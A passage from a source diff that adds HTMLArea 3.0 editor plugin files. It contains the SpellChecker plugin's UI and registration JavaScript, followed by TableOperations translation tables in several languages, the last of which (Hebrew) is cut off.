+ if (typeof i18n[txt] != "undefined") {
+ el.innerHTML = i18n[txt];
+ }
+ }
+ }
+ }
+};
+
+function initDocument() {
+ internationalizeWindow();
+ modified = false;
+ frame = document.getElementById("i_framecontent");
+ var field = document.getElementById("f_content");
+ field.value = HTMLArea.getHTML(editor._doc.body, false, editor);
+ field.form.submit();
+ document.getElementById("f_init").value = "0";
+
+ // assign some global event handlers
+
+ var select = document.getElementById("v_suggestions");
+ select.onchange = function() {
+ document.getElementById("v_replacement").value = this.value;
+ };
+ if (is_ie) {
+ select.attachEvent("ondblclick", replaceClicked);
+ } else {
+ select.addEventListener("dblclick", replaceClicked, true);
+ }
+
+ document.getElementById("b_replace").onclick = replaceClicked;
+ // document.getElementById("b_learn").onclick = learnClicked;
+ document.getElementById("b_replall").onclick = replaceAllClicked;
+ document.getElementById("b_ignore").onclick = ignoreClicked;
+ document.getElementById("b_ignall").onclick = ignoreAllClicked;
+ document.getElementById("b_recheck").onclick = recheckClicked;
+ document.getElementById("b_revert").onclick = revertClicked;
+ document.getElementById("b_info").onclick = displayInfo;
+
+ document.getElementById("b_ok").onclick = saveClicked;
+ document.getElementById("b_cancel").onclick = cancelClicked;
+
+ select = document.getElementById("v_dictionaries");
+ select.onchange = function() {
+ document.getElementById("f_dictionary").value = this.value;
+ };
+};
+
+function getAbsolutePos(el) {
+ var r = { x: el.offsetLeft, y: el.offsetTop };
+ if (el.offsetParent) {
+ var tmp = getAbsolutePos(el.offsetParent);
+ r.x += tmp.x;
+ r.y += tmp.y;
+ }
+ return r;
+};
+
+function wordClicked(scroll) {
+ var self = this;
+ if (scroll) (function() {
+ var pos = getAbsolutePos(self);
+ var ws = { x: frame.offsetWidth - 4,
+ y: frame.offsetHeight - 4 };
+ var wp = { x: frame.contentWindow.document.body.scrollLeft,
+ y: frame.contentWindow.document.body.scrollTop };
+ pos.x -= Math.round(ws.x/2);
+ if (pos.x < 0) pos.x = 0;
+ pos.y -= Math.round(ws.y/2);
+ if (pos.y < 0) pos.y = 0;
+ frame.contentWindow.scrollTo(pos.x, pos.y);
+ })();
+ if (currentElement) {
+ var a = allWords[currentElement.__msh_origWord];
+ currentElement.className = currentElement.className.replace(/\s*HA-spellcheck-current\s*/g, " ");
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className = el.className.replace(/\s*HA-spellcheck-same\s*/g, " ");
+ }
+ }
+ }
+ currentElement = this;
+ this.className += " HA-spellcheck-current";
+ var a = allWords[currentElement.__msh_origWord];
+ for (var i in a) {
+ var el = a[i];
+ if (el != currentElement) {
+ el.className += " HA-spellcheck-same";
+ }
+ }
+ // document.getElementById("b_replall").disabled = (a.length <= 1);
+ // document.getElementById("b_ignall").disabled = (a.length <= 1);
+ var txt;
+ if (a.length == 1) {
+ txt = "one occurrence";
+ } else if (a.length == 2) {
+ txt = "two occurrences";
+ } else {
+ txt = a.length + " occurrences";
+ }
+ var suggestions = suggested_words[this.__msh_origWord];
+ if (suggestions)
+ suggestions = suggestions.split(/,/);
+ else
+ suggestions = [];
+ var select = document.getElementById("v_suggestions");
+ document.getElementById("statusbar").innerHTML = "Found " + txt +
+ ' for word "<b>' + currentElement.__msh_origWord + '</b>"';
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < suggestions.length; ++i) {
+ var txt = suggestions[i];
+ var option = document.createElement("option");
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ document.getElementById("v_currentWord").innerHTML = this.__msh_origWord;
+ if (suggestions.length > 0) {
+ select.selectedIndex = 0;
+ select.onchange();
+ } else {
+ document.getElementById("v_replacement").value = this.innerHTML;
+ }
+ select.style.display = "none";
+ select.style.display = "block";
+ return false;
+};
+
+function wordMouseOver() {
+ this.className += " HA-spellcheck-hover";
+};
+
+function wordMouseOut() {
+ this.className = this.className.replace(/\s*HA-spellcheck-hover\s*/g, " ");
+};
+
+function displayInfo() {
+ var info = frame.contentWindow.spellcheck_info;
+ if (!info)
+ alert("No information available");
+ else {
+ var txt = "** Document information **";
+ for (var i in info) {
+ txt += "\n" + i + " : " + info[i];
+ }
+ alert(txt);
+ }
+ return false;
+};
+
+function finishedSpellChecking() {
+ // initialization of global variables
+ currentElement = null;
+ wrongWords = null;
+ allWords = {};
+ fixedWords = [];
+ suggested_words = frame.contentWindow.suggested_words;
+
+ document.getElementById("status").innerHTML = "HTMLArea Spell Checker (<a href='readme-tech.html' target='_blank' title='Technical information'>info</a>)";
+ var doc = frame.contentWindow.document;
+ var spans = doc.getElementsByTagName("span");
+ var sps = [];
+ var id = 0;
+ for (var i = 0; i < spans.length; ++i) {
+ var el = spans[i];
+ if (/HA-spellcheck-error/.test(el.className)) {
+ sps.push(el);
+ el.__msh_wordClicked = wordClicked;
+ el.onclick = function(ev) {
+ ev || (ev = window.event);
+ ev && HTMLArea._stopEvent(ev);
+ return this.__msh_wordClicked(false);
+ };
+ el.onmouseover = wordMouseOver;
+ el.onmouseout = wordMouseOut;
+ el.__msh_id = id++;
+ var txt = (el.__msh_origWord = el.firstChild.data);
+ el.__msh_fixed = false;
+ if (typeof allWords[txt] == "undefined") {
+ allWords[txt] = [el];
+ } else {
+ allWords[txt].push(el);
+ }
+ } else if (/HA-spellcheck-fixed/.test(el.className)) {
+ fixedWords.push(el);
+ }
+ }
+ wrongWords = sps;
+ if (sps.length == 0) {
+ if (!modified) {
+ alert(i18n["NO_ERRORS_CLOSING"]);
+ window.close();
+ } else {
+ alert(i18n["NO_ERRORS"]);
+ }
+ return false;
+ }
+ (currentElement = sps[0]).__msh_wordClicked(true);
+ var as = doc.getElementsByTagName("a");
+ for (var i = as.length; --i >= 0;) {
+ var a = as[i];
+ a.onclick = function() {
+ if (confirm(i18n["CONFIRM_LINK_CLICK"] + ":\n" +
+ this.href + "\n" + i18n["I will open it in a new page."])) {
+ window.open(this.href);
+ }
+ return false;
+ };
+ }
+ var dicts = doc.getElementById("HA-spellcheck-dictionaries");
+ if (dicts) {
+ dicts.parentNode.removeChild(dicts);
+ dicts = dicts.innerHTML.split(/,/);
+ var select = document.getElementById("v_dictionaries");
+ for (var i = select.length; --i >= 0;) {
+ select.remove(i);
+ }
+ for (var i = 0; i < dicts.length; ++i) {
+ var txt = dicts[i];
+ var option = document.createElement("option");
+ if (/^@(.*)$/.test(txt)) {
+ txt = RegExp.$1;
+ option.selected = true;
+ }
+ option.value = txt;
+ option.appendChild(document.createTextNode(txt));
+ select.appendChild(option);
+ }
+ }
+};
--- /dev/null
+// Spell Checker Plugin for HTMLArea-3.0
+// Sponsored by www.americanbible.org
+// Implementation by Mihai Bazon, http://dynarch.com/mishoo/
+//
+// (c) dynarch.com 2003.
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// $Id: spell-checker.js,v 1.1.1.1 2006/03/27 14:44:13 cscott Exp $
+
+function SpellChecker(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = SpellChecker.I18N;
+ var bl = SpellChecker.btnList;
+ var self = this;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (!btn) {
+ toolbar.push("separator");
+ } else {
+ var id = "SC-" + btn[0];
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "SpellChecker"), false,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+SpellChecker._pluginInfo = {
+ name : "SpellChecker",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "American Bible Society",
+ sponsor_url : "http://www.americanbible.org",
+ license : "htmlArea"
+};
+
+SpellChecker.btnList = [
+ null, // separator
+ ["spell-check"]
+ ];
+
+SpellChecker.prototype.buttonPress = function(editor, id) {
+ switch (id) {
+ case "SC-spell-check":
+ SpellChecker.editor = editor;
+ SpellChecker.init = true;
+ var uiurl = _editor_url + "plugins/SpellChecker/spell-check-ui.html";
+ var win;
+ if (HTMLArea.is_ie) {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,location=no,directories=no,status=no,menubar=no," +
+ "scrollbars=no,resizable=yes,width=600,height=450");
+ } else {
+ win = window.open(uiurl, "SC_spell_checker",
+ "toolbar=no,menubar=no,personalbar=no,width=600,height=450," +
+ "scrollbars=no,resizable=yes");
+ }
+ win.focus();
+ break;
+ }
+};
+
+// this needs to be global, it's accessed from spell-check-ui.html
+SpellChecker.editor = null;
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "cz", ENCODING: UTF-8 | ISO-8859-2\r\r
+// Author: Jiri Löw, <jirilow@jirilow.com>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "Zarovnání",\r\r
+ "All four sides": "Všechny čtyři strany",\r\r
+ "Background": "Pozadí",\r\r
+ "Baseline": "Základní linka",\r\r
+ "Border": "Obrys",\r\r
+ "Borders": "Obrysy",\r\r
+ "Bottom": "Dolů",\r\r
+ "CSS Style": "Kaskádové styly (CSS)",\r\r
+ "Caption": "Titulek",\r\r
+ "Cell Properties": "Vlastnosti buňky",\r\r
+ "Center": "Na střed",\r\r
+ "Char": "Znak",\r\r
+ "Collapsed borders": "Stlačené okraje",\r\r
+ "Color": "Barva",\r\r
+ "Description": "Popis",\r\r
+ "FG Color": "Barva popředí",\r\r
+ "Float": "Obtékání",\r\r
+ "Frames": "Rámečky",\r\r
+ "Height": "Výška",\r\r
+ "How many columns would you like to merge?": "Kolik sloupců si přejete spojit?",\r\r
+ "How many rows would you like to merge?": "Kolik řádků si přejete spojit?",\r\r
+ "Image URL": "Adresa obrázku",\r\r
+ "Justify": "Do stran",\r\r
+ "Layout": "Rozložení",\r\r
+ "Left": "Vlevo",\r\r
+ "Margin": "Okraj",\r\r
+ "Middle": "Na střed",\r\r
+ "No rules": "Žádné čáry",\r\r
+ "No sides": "Žádné strany",\r\r
+ "None": "Žádné",\r\r
+ "Padding": "Odsazování",\r\r
+ "Please click into some cell": "Prosím klikněte do některé buňky",\r\r
+ "Right": "Vpravo",\r\r
+ "Row Properties": "Vlastnosti řádku",\r\r
+ "Rules will appear between all rows and columns": "Čáry mezi všemi řádky i sloupci",\r\r
+ "Rules will appear between columns only": "Čáry pouze mezi sloupci",\r\r
+ "Rules will appear between rows only": "Čáry pouze mezi řádky",\r\r
+ "Rules": "Čáry",\r\r
+ "Spacing and padding": "Mezery a odsazování",\r\r
+ "Spacing": "Mezery",\r\r
+ "Summary": "Shrnutí",\r\r
+ "TO-cell-delete": "Smazat buňku",\r\r
+ "TO-cell-insert-after": "Vložit buňku za",\r\r
+ "TO-cell-insert-before": "Vložit buňku před",\r\r
+ "TO-cell-merge": "Spojit buňky",\r\r
+ "TO-cell-prop": "Vlastnosti buňky",\r\r
+ "TO-cell-split": "Rozdělit buňku",\r\r
+ "TO-col-delete": "Smazat sloupec",\r\r
+ "TO-col-insert-after": "Vložit sloupec za",\r\r
+ "TO-col-insert-before": "Vložit sloupec před",\r\r
+ "TO-col-split": "Rozdělit sloupec",\r\r
+ "TO-row-delete": "Smazat řádek",\r\r
+ "TO-row-insert-above": "Smazat řádek nad",\r\r
+ "TO-row-insert-under": "Smazat řádek pod",\r\r
+ "TO-row-prop": "Vlastnosti řádku",\r\r
+ "TO-row-split": "Rozdělit řádek",\r\r
+ "TO-table-prop": "Vlastnosti tabulky",\r\r
+ "Table Properties": "Vlastnosti tabulky",\r\r
+ "Text align": "Zarovnání textu",\r\r
+ "The bottom side only": "Pouze spodní strana",\r\r
+ "The left-hand side only": "Pouze levá strana",\r\r
+ "The right and left sides only": "Pouze levá a pravá strana",\r\r
+ "The right-hand side only": "Pouze pravá strana",\r\r
+ "The top and bottom sides only": "Pouze horní a dolní strana",\r\r
+ "The top side only": "Pouze horní strana",\r\r
+ "Top": "Nahoru", \r\r
+ "Unset color": "Zrušit barvu",\r\r
+ "Vertical align": "Svislé zarovnání",\r\r
+ "Width": "Šířka",\r\r
+ "not-del-last-cell": "HTMLArea zbaběle odmítá smazat poslední buňku v řádku.",\r\r
+ "not-del-last-col": "HTMLArea zbaběle odmítá smazat poslední sloupec v tabulce.",\r\r
+ "not-del-last-row": "HTMLArea zbaběle odmítá smazat poslední řádek v tabulce.",\r\r
+ "percent": "procent",\r\r
+ "pixels": "pixelů"\r\r
+};\r\r
--- /dev/null
+// I18N constants
+
+// LANG: "da", ENCODING: UTF-8 | ISO-8859-1
+// Author: Steen Sønderup, <steen@soenderup.com>
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Placer",
+ "All four sides": "Alle fire sider",
+ "Background": "Baggrund",
+ "Baseline": "Bundlinie",
+ "Border": "Kant",
+ "Borders": "Kanter",
+ "Bottom": "Bund",
+ "CSS Style": "Stil [CSS]",
+ "Caption": "Titel",
+ "Cell Properties": "Celle egenskaber",
+ "Center": "Centrer",
+ "Char": "Plads",
+ "Collapsed borders": "Sammensmelt rammer",
+ "Color": "Farve",
+ "Description": "Beskrivelse",
+ "FG Color": "Font farve",
+ "Float": "Justering",
+ "Frames": "Udvendig",
+ "Height": "Højde",
+ "How many columns would you like to merge?": "Hvor mange kollonner vil du samle?",
+ "How many rows would you like to merge?": "Hvor mange rækker vil du samle?",
+ "Image URL": "Billede URL",
+ "Justify": "Lige margener",
+ "Layout": "Opsætning",
+ "Left": "Venstre",
+ "Margin": "Margen",
+ "Middle": "Centrer",
+ "No rules": "Ingen rammer",
+ "No sides": "Ingen sider",
+ "None": "Ingen",
+ "Padding": "Margen",
+ "Please click into some cell": "Klik på en celle",
+ "Right": "Højre",
+ "Row Properties": "Række egenskaber",
+ "Rules will appear between all rows and columns": "Rammer mellem rækker og kolonner",
+ "Rules will appear between columns only": "Kun rammer mellem kolonner",
+ "Rules will appear between rows only": "Kun rammer mellem rækker",
+ "Rules": "Invendig",
+ "Spacing and padding": "Afstand og margen",
+ "Spacing": "Afstand",
+ "Summary": "Beskrivelse",
+ "TO-cell-delete": "Slet celle",
+ "TO-cell-insert-after": "Indsæt celle efter",
+ "TO-cell-insert-before": "Indsæt celle før",
+ "TO-cell-merge": "Sammensæt celler",
+ "TO-cell-prop": "Celle egenskaber",
+ "TO-cell-split": "Opdel celle",
+ "TO-col-delete": "Slet kollonne",
+ "TO-col-insert-after": "Indsæt kolonne efter",
+ "TO-col-insert-before": "Indsæt kolonne før",
+ "TO-col-split": "Opdel kolonne",
+ "TO-row-delete": "Slet række",
+ "TO-row-insert-above": "Indsæt række før",
+ "TO-row-insert-under": "Indsæt række efter",
+ "TO-row-prop": "Række egenskaber",
+ "TO-row-split": "Opdel række",
+ "TO-table-prop": "Tabel egenskaber",
+ "Table Properties": "Tabel egenskaber",
+ "Text align": "Tekst",
+ "The bottom side only": "Kun i bunden",
+ "The left-hand side only": "Kun i højre side",
+ "The right and left sides only": "Kun i siderne",
+ "The right-hand side only": "Kun i venstre side",
+ "The top and bottom sides only": "Kun i top og bund",
+ "The top side only": "Kun i toppen",
+ "Top": "Top",
+ "Unset color": "Farve ikke valgt",
+ "Vertical align": "Vertikal placering",
+ "Width": "Bredde",
+ "not-del-last-cell": "Du kan ikke slette den sidste celle i en række.",
+ "not-del-last-col": "Du kan ikke slette den sidste kolonne i en tabel.",
+ "not-del-last-row": "Du kan ikke slette den sidste række i en tabel.",
+ "percent": "procent",
+ "pixels": "pixel"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "de", ENCODING: UTF-8 | ISO-8859-1
+// Author: broxx, <broxx@broxx.com>
+
+TableOperations.I18N = {
+ "Align": "Ausrichten",
+ "All four sides": "Alle 4 Seiten",
+ "Background": "Hintergrund",
+ "Baseline": "Basislinie",
+ "Border": "Rand",
+ "Borders": "Raender",
+ "Bottom": "Unten",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Ueberschrift",
+ "Cell Properties": "Zellen",
+ "Center": "Zentrieren",
+ "Char": "Zeichen",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Farbe",
+ "Description": "Beschreibung",
+ "FG Color": "FG Farbe",
+ "Float": "Ausrichtung",
+ "Frames": "Rahmen",
+ "Height": "Hoehe",
+ "How many columns would you like to merge?": "Wieviele Spalten willst du verbinden?",
+ "How many rows would you like to merge?": "Wieviele Zeilen willst du verbinden?",
+ "Image URL": "Bild URL",
+ "Justify": "Justieren",
+ "Layout": "Layout",
+ "Left": "Links",
+ "Margin": "Rand",
+ "Middle": "Mitte",
+ "No rules": "Keine Balken",
+ "No sides": "Keine Seiten",
+ "None": "Keine",
+ "Padding": "Auffuellung",
+ "Please click into some cell": "Waehle eine Zelle",
+ "Right": "Rechts",
+ "Row Properties": "Reihen",
+ "Rules will appear between all rows and columns": "Balken zwischen Reihen und Spalten",
+ "Rules will appear between columns only": "Balken zwischen Spalten",
+ "Rules will appear between rows only": "Balken zwischen Reihen",
+ "Rules": "Balken",
+ "Spacing and padding": "Abstaende",
+ "Spacing": "Abstand",
+ "Summary": "Zusammenfassung",
+ "TO-cell-delete": "Zelle loeschen",
+ "TO-cell-insert-after": "Zelle einfuegen nach",
+ "TO-cell-insert-before": "Zelle einfuegen bevor",
+ "TO-cell-merge": "Zellen zusammenfuegen",
+ "TO-cell-prop": "Zelleinstellungen",
+ "TO-cell-split": "Zellen aufteilen",
+ "TO-col-delete": "Spalte loeschen",
+ "TO-col-insert-after": "Spalte einfuegen nach",
+ "TO-col-insert-before": "Spalte einfuegen bevor",
+ "TO-col-split": "Spalte aufteilen",
+ "TO-row-delete": "Reihe loeschen",
+ "TO-row-insert-above": "Reihe einfuegen vor",
+ "TO-row-insert-under": "Reihe einfuegen nach",
+ "TO-row-prop": "Reiheneinstellungen",
+ "TO-row-split": "Reihen aufteilen",
+ "TO-table-prop": "Tabelle",
+ "Table Properties": "Tabelle",
+ "Text align": "Ausrichtung",
+ "The bottom side only": "Nur untere Seite",
+ "The left-hand side only": "Nur linke Seite",
+ "The right and left sides only": "Nur linke und rechte Seite",
+ "The right-hand side only": "Nur rechte Seite",
+ "The top and bottom sides only": "Nur obere und untere Seite",
+ "The top side only": "Nur obere Seite",
+ "Top": "Oben",
+ "Unset color": "Farbe",
+ "Vertical align": "Ausrichtung",
+ "Width": "Breite",
+ "not-del-last-cell": "Letzte Zelle in dieser Reihe!",
+ "not-del-last-col": "Letzte Spalte in dieser Tabelle!",
+ "not-del-last-row": "Letzte Reihe in dieser Tabelle",
+ "percent": "%",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "el", ENCODING: UTF-8 | ISO-8859-7
+// Author: Dimitris Glezos, dimitris@glezos.com
+
+TableOperations.I18N = {
+ "Align": "Στοίχηση",
+ "All four sides": "Και οι 4 πλευρές",
+ "Background": "Φόντο",
+ "Baseline": "Baseline",
+ "Border": "Περίγραμμα",
+ "Borders": "Περιγράμματα",
+ "Bottom": "Κάτω μέρος",
+ "CSS Style": "Στυλ [CSS]",
+ "Caption": "Λεζάντα",
+ "Cell Properties": "Ιδιότητες Κελιού",
+ "Center": "Κέντρο",
+ "Char": "Χαρακτήρας",
+ "Collapsed borders": "Συμπτυγμένα περιγράμματα",
+ "Color": "Χρώμα",
+ "Description": "Περιγραφή",
+ "FG Color": "Χρώμα αντικειμένων",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Ύψος",
+ "How many columns would you like to merge?": "Πόσες στήλες θέλετε να ενώσετε;",
+ "How many rows would you like to merge?": "Πόσες γραμμές θέλετε να ενώσετε;",
+ "Image URL": "URL εικόνας",
+ "Justify": "Πλήρης στοίχηση",
+ "Layout": "Διάταξη",
+ "Left": "Αριστερά",
+ "Margin": "Περιθώριο",
+ "Middle": "Κέντρο",
+ "No rules": "Χωρίς Γραμμές",
+ "No sides": "No sides",
+ "None": "Τίποτα",
+ "Padding": "Εσοχή",
+ "Please click into some cell": "Κάντε κλικ μέσα σε κάποιο κελί",
+ "Right": "Δεξιά",
+ "Row Properties": "Ιδιότητες Γραμμής",
+ "Rules will appear between all rows and columns": "Γραμμές θα εμφανίζονται μεταξύ όλων των γραμμών και στηλών",
+ "Rules will appear between columns only": "Γραμμές θα εμφανίζονται μόνο μεταξύ στηλών",
+ "Rules will appear between rows only": "Γραμμές θα εμφανίζονται μόνο μεταξύ γραμμών",
+ "Rules": "Γραμμές",
+ "Spacing and padding": "Αποστάσεις και εσοχές",
+ "Spacing": "Αποστάσεις",
+ "Summary": "Σύνοψη",
+ "TO-cell-delete": "Διαγραφή κελιού",
+ "TO-cell-insert-after": "Εισαγωγή κελιού μετά",
+ "TO-cell-insert-before": "Εισαγωγή κελιού πριν",
+ "TO-cell-merge": "Συγχώνευση κελιών",
+ "TO-cell-prop": "Ιδιότητες κελιού",
+ "TO-cell-split": "Διαίρεση κελιού",
+ "TO-col-delete": "Διαγραφή στήλης",
+ "TO-col-insert-after": "Εισαγωγή στήλης μετά",
+ "TO-col-insert-before": "Εισαγωγή στήλης πριν",
+ "TO-col-split": "Διαίρεση στήλης",
+ "TO-row-delete": "Διαγραφή γραμμής",
+ "TO-row-insert-above": "Εισαγωγή γραμμής μετά",
+ "TO-row-insert-under": "Εισαγωγή γραμμής πριν",
+ "TO-row-prop": "Ιδιότητες γραμμής",
+ "TO-row-split": "Διαίρεση γραμμής",
+ "TO-table-prop": "Ιδιότητες πίνακα",
+ "Table Properties": "Ιδιότητες πίνακα",
+ "Text align": "Στοίχηση κειμένου",
+ "The bottom side only": "Η κάτω πλευρά μόνο",
+ "The left-hand side only": "Η αριστερή πλευρά μόνο",
+ "The right and left sides only": "Οι δεξιές και αριστερές πλευρές μόνο",
+ "The right-hand side only": "Η δεξιά πλευρά μόνο",
+ "The top and bottom sides only": "Οι πάνω και κάτω πλευρές μόνο",
+ "The top side only": "Η πάνω πλευρά μόνο",
+ "Top": "Πάνω",
+ "Unset color": "Αναίρεση χρώματος",
+ "Vertical align": "Κατακόρυφη στοίχηση",
+ "Width": "Πλάτος",
+ "not-del-last-cell": "Δεν μπορεί να διαγραφεί το τελευταίο κελί σε μια γραμμή.",
+ "not-del-last-col": "Δεν μπορεί να διαγραφεί η τελευταία στήλη σε ένα πίνακα.",
+ "not-del-last-row": "Δεν μπορεί να διαγραφεί η τελευταία γραμμή σε ένα πίνακα.",
+ "percent": "τοις εκατόν",
+ "pixels": "pixels"
+};
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+TableOperations.I18N = {
+ "Align": "Align",
+ "All four sides": "All four sides",
+ "Background": "Background",
+ "Baseline": "Baseline",
+ "Border": "Border",
+ "Borders": "Borders",
+ "Bottom": "Bottom",
+ "CSS Style": "Style [CSS]",
+ "Caption": "Caption",
+ "Cell Properties": "Cell Properties",
+ "Center": "Center",
+ "Char": "Char",
+ "Collapsed borders": "Collapsed borders",
+ "Color": "Color",
+ "Description": "Description",
+ "FG Color": "FG Color",
+ "Float": "Float",
+ "Frames": "Frames",
+ "Height": "Height",
+ "How many columns would you like to merge?": "How many columns would you like to merge?",
+ "How many rows would you like to merge?": "How many rows would you like to merge?",
+ "Image URL": "Image URL",
+ "Justify": "Justify",
+ "Layout": "Layout",
+ "Left": "Left",
+ "Margin": "Margin",
+ "Middle": "Middle",
+ "No rules": "No rules",
+ "No sides": "No sides",
+ "None": "None",
+ "Padding": "Padding",
+ "Please click into some cell": "Please click into some cell",
+ "Right": "Right",
+ "Row Properties": "Row Properties",
+ "Rules will appear between all rows and columns": "Rules will appear between all rows and columns",
+ "Rules will appear between columns only": "Rules will appear between columns only",
+ "Rules will appear between rows only": "Rules will appear between rows only",
+ "Rules": "Rules",
+ "Spacing and padding": "Spacing and padding",
+ "Spacing": "Spacing",
+ "Summary": "Summary",
+ "TO-cell-delete": "Delete cell",
+ "TO-cell-insert-after": "Insert cell after",
+ "TO-cell-insert-before": "Insert cell before",
+ "TO-cell-merge": "Merge cells",
+ "TO-cell-prop": "Cell properties",
+ "TO-cell-split": "Split cell",
+ "TO-col-delete": "Delete column",
+ "TO-col-insert-after": "Insert column after",
+ "TO-col-insert-before": "Insert column before",
+ "TO-col-split": "Split column",
+ "TO-row-delete": "Delete row",
+ "TO-row-insert-above": "Insert row before",
+ "TO-row-insert-under": "Insert row after",
+ "TO-row-prop": "Row properties",
+ "TO-row-split": "Split row",
+ "TO-table-prop": "Table properties",
+ "Table Properties": "Table Properties",
+ "Text align": "Text align",
+ "The bottom side only": "The bottom side only",
+ "The left-hand side only": "The left-hand side only",
+ "The right and left sides only": "The right and left sides only",
+ "The right-hand side only": "The right-hand side only",
+ "The top and bottom sides only": "The top and bottom sides only",
+ "The top side only": "The top side only",
+ "Top": "Top",
+ "Unset color": "Unset color",
+ "Vertical align": "Vertical align",
+ "Width": "Width",
+ "not-del-last-cell": "HTMLArea cowardly refuses to delete the last cell in row.",
+ "not-del-last-col": "HTMLArea cowardly refuses to delete the last column in table.",
+ "not-del-last-row": "HTMLArea cowardly refuses to delete the last row in table.",
+ "percent": "percent",
+ "pixels": "pixels"
+};
--- /dev/null
+TableOperations.I18N = {
+ "Align": "Kohdistus",
+ "All four sides": "Kaikki neljä sivua",
+ "Background": "Tausta",
+ "Baseline": "Takaraja",
+ "Border": "Reuna",
+ "Borders": "Reunat",
+ "Bottom": "Alle",
+ "CSS Style": "Tyyli [CSS]",
+ "Caption": "Otsikko",
+ "Cell Properties": "Solun asetukset",
+ "Center": "Keskelle",
+ "Char": "Merkki",
+ "Collapsed borders": "Luhistetut reunat",
+ "Color": "Väri",
+ "Description": "Kuvaus",
+ "FG Color": "FG Väri",
+ "Frames": "Kehykset",
+ "Image URL": "Kuvan osoite",
+ "Layout": "Sommittelu",
+ "Left": "Vasen",
+ "Margin": "Marginaali",
+ "Middle": "Keskelle",
+ "No rules": "Ei viivoja",
+ "No sides": "Ei sivuja",
+ "Padding": "Palstantäyte",
+ "Right": "Oikea",
+ "Row Properties": "Rivin asetukset",
+ "Rules will appear between all rows and columns": "Viivat jokaisen rivin ja sarakkeen välillä",
+ "Rules will appear between columns only": "Viivat ainoastaan sarakkeiden välillä",
+ "Rules will appear between rows only": "Viivat ainoastaan rivien välillä",
+ "Rules": "Viivat",
+ "Spacing": "Palstatila",
+ "Summary": "Yhteenveto",
+ "TO-cell-delete": "Poista solu",
+ "TO-cell-insert-after": "Lisää solu perään",
+ "TO-cell-insert-before": "Lisää solu ennen",
+ "TO-cell-merge": "Yhdistä solut",
+ "TO-cell-prop": "Solun asetukset",
+ "TO-cell-split": "Jaa solu",
+ "TO-col-delete": "Poista sarake",
+ "TO-col-insert-after": "Lisää sarake perään",
+ "TO-col-insert-before": "Lisää sarake ennen",
+ "TO-col-split": "Jaa sarake",
+ "TO-row-delete": "Poista rivi",
+ "TO-row-insert-above": "Lisää rivi yläpuolelle",
+ "TO-row-insert-under": "Lisää rivi alapuolelle",
+ "TO-row-prop": "Rivin asetukset",
+ "TO-row-split": "Jaa rivi",
+ "TO-table-prop": "Taulukon asetukset",
+ "Top": "Ylös",
+ "Table Properties": "Taulukon asetukset",
+ "The bottom side only": "Ainoastaan alapuolelle",
+ "The left-hand side only": "Ainoastaan vasenreuna",
+ "The right and left sides only": "Oikea- ja vasenreuna",
+ "The right-hand side only": "Ainoastaan oikeareuna",
+ "The top and bottom sides only": "Ylä- ja alapuoli.",
+ "The top side only": "Ainoastaan yläpuoli",
+ "Vertical align": "Vertikaali kohdistus",
+ "Width": "Leveys",
+ "not-del-last-cell": "Ei voida poistaa viimeistä solua rivistä.",
+ "not-del-last-col": "Ei voida poistaa viimeistä saraketta taulusta.",
+ "not-del-last-row": "Ei voida poistaa viimeistä riviä taulusta.",
+ "percent": "prosenttia",
+ "pixels": "pikseliä"
+};
--- /dev/null
+// I18N constants\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+TableOperations.I18N = {\r\r
+ "Align": "ישור",\r\r
+ "All four sides": "כל ארבעת הצדדים",\r\r
+ "Background": "רקע",\r\r
+ "Baseline": "קו בסיס",\r\r
+ "Border": "גבול",\r\r
